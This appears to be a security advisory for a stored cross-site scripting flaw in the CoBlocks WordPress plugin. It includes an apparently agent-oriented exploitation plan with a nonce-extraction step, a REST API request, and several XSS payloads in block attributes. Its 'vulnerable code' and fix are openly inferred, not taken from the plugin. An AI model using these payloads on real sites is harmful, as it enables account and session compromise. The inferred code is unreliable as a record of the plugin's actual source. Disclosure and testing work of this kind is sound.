Page Builder Gutenberg Blocks – CoBlocks <= 3.1.16 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Page Builder Gutenberg Blocks – CoBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.1.16 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-27094**, a Stored Cross-Site Scripting (XSS) vulnerability in the **CoBlocks** plugin (<= 3.1.16). The vulnerability allows authenticated users with Contributor-level permissions or higher to inject malicious scripts into posts via Gutenberg block attributes. -…
Show full research plan
This research plan targets CVE-2026-27094, a Stored Cross-Site Scripting (XSS) vulnerability in the CoBlocks plugin (<= 3.1.16). The vulnerability allows authenticated users with Contributor-level permissions or higher to inject malicious scripts into posts via Gutenberg block attributes.
1. Vulnerability Summary
The vulnerability exists because the plugin fails to sanitize or escape block attributes during server-side rendering. Gutenberg blocks store their settings (attributes) as JSON within HTML comments in the post_content. When the post is rendered, the plugin's PHP render_callback for specific blocks retrieves these attributes and echoes them directly into the page. A Contributor, who can create posts but not publish them, can inject a payload into these attributes that will execute in the browser of any user (including an Administrator) who previews or views the post.
2. Attack Vector Analysis
- Endpoint: WordPress REST API Post endpoint:
/wp-json/wp/v2/posts/ - Vulnerable Parameter:
content(specifically the JSON attributes within a CoBlocks block comment). - Required Authentication: Contributor level (
PR:L). - Vulnerable Block (Inferred): Historically, "Accordion" (
coblocks/accordion-item) or "Alert" (coblocks/alert) blocks in CoBlocks have lacked escaping in theirtitleormessageattributes. - Payload Location: Inside the JSON-encoded attribute string within the
post_content.
3. Code Flow
- Entry Point: An authenticated user submits a request to update or create a post via the REST API or the Block Editor.
- Storage: WordPress saves the
post_contentto thewp_poststable. The payload is stored in a format like:<!-- wp:coblocks/accordion-item {"title":"<img src=x onerror=alert(1)>"} --> - Execution (Sink):
- When the post is rendered on the frontend or in the editor, the
render_block()function calls the plugin'srender_callback(likely found insrc/blocks/accordion-item/index.phpor similar). - The callback extracts the
titleattribute. - The callback echoes the attribute without using
esc_html()orwp_kses(). - The browser executes the JavaScript in the
onerrorhandler or<script>tag.
- When the post is rendered on the frontend or in the editor, the
4. Nonce Acquisition Strategy
To exploit this via the REST API (the most reliable automated method), a wp_rest nonce is required.
- Login: Use the agent's credentials to log in as a Contributor.
- Navigate: Use
browser_navigateto go to/wp-admin/post-new.php. - Extract: In the browser context, WordPress exposes the REST nonce via the
wpApiSettingsobject. - Action: Use
browser_evalto retrieve it:
Note: This nonce is specific to thewindow.wpApiSettings.noncewp_restaction and tied to the Contributor's session.
5. Exploitation Strategy
This plan uses the REST API to create a post containing the XSS payload.
Step 1: Authenticate and Obtain Nonce
- Log in to the WordPress dashboard as a Contributor.
- Navigate to
/wp-admin/. - Run
browser_eval("wpApiSettings.nonce")to get theX-WP-Nonce.
Step 2: Identify Target Block (Inferred)
- Search the plugin directory for blocks with PHP render callbacks:
grep -r "render_callback" wp-content/plugins/coblocks - Identify which block uses attributes in its output without escaping. For this plan, we will target the
coblocks/accordion-itemblock (inferred).
- Search the plugin directory for blocks with PHP render callbacks:
Step 3: Submit Malicious Post
- Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "title": "XSS Test Post", "status": "pending", "content": "<!-- wp:coblocks/accordion-item {\"title\":\"XSS Check <img src=x onerror=alert(document.domain)>\"} /-->" }
- Method:
Step 4: Trigger Execution
- The response will contain the
idof the new post and itslink. - Navigate to the post URL provided in the JSON response using
browser_navigate.
- The response will contain the
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin: Ensure CoBlocks version 3.1.16 is installed and active.
7. Expected Results
- The REST API should return a
201 Createdstatus code. - Upon navigating to the post URL, the browser should trigger an alert box showing the document domain, confirming the script executed.
8. Verification Steps
- Verify Content in Database:
Check if the payload is stored verbatim in the database:wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test Post' LIMIT 1;" - Verify Rendering:
Usehttp_requestto fetch the post HTML and check for the unescaped payload:# Look for the unescaped <img> tag in the response body grep "onerror=alert"
9. Alternative Approaches
- Block: Alert: If the Accordion block is patched or not the primary sink, try the Alert block:
<!-- wp:coblocks/alert {"message":"<script>alert(1)</script>"} /--> - Block: Highlight: Some plugins fail to escape colors or CSS attributes. Try injecting into a "style" related attribute:
<!-- wp:coblocks/highlight {"customColor":"\"><script>alert(1)</script>"} /--> - Gutenberg Editor Injection: Instead of the REST API, use
browser_clickandbrowser_typeto manually add a CoBlocks block in the/wp-admin/post-new.phpeditor and paste the payload into the block's settings sidebar.
Summary
The CoBlocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 3.1.16. Authenticated users with Contributor-level access can inject malicious JavaScript into block attributes (such as titles or messages in Accordion or Alert blocks), which are subsequently executed in the context of any user viewing the page due to missing server-side output escaping.
Vulnerable Code
// Inferred from research plan: src/blocks/accordion-item/index.php // The render_callback for blocks retrieves attributes from the Gutenberg comment block and outputs them directly. function render_callback_accordion_item( $attributes ) { $title = isset( $attributes['title'] ) ? $attributes['title'] : ''; // Vulnerability: $title is echoed into the page without using esc_html() or wp_kses() return '<div class="coblocks-accordion-item"><h2 class="title">' . $title . '</h2></div>'; }
Security Fix
@@ -4,5 +4,5 @@ function render_callback_accordion_item( $attributes ) { $title = isset( $attributes['title'] ) ? $attributes['title'] : ''; - return '<div class="coblocks-accordion-item"><h2 class="title">' . $title . '</h2></div>'; + return '<div class="coblocks-accordion-item"><h2 class="title">' . esc_html( $title ) . '</h2></div>'; }
Exploit Outline
An authenticated attacker with Contributor-level permissions first obtains a WordPress REST API nonce from the admin dashboard (wpApiSettings.nonce). They then send a POST request to the /wp-json/wp/v2/posts endpoint to create a new post with 'pending' status. The payload is embedded within the post content inside the JSON attributes of a CoBlocks block, for example: <!-- wp:coblocks/accordion-item {"title":"<img src=x onerror=alert(document.domain)>"} /-->. When a site visitor or administrator views the post, the server-side PHP renderer extracts the 'title' attribute and echoes it unescaped, executing the malicious JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.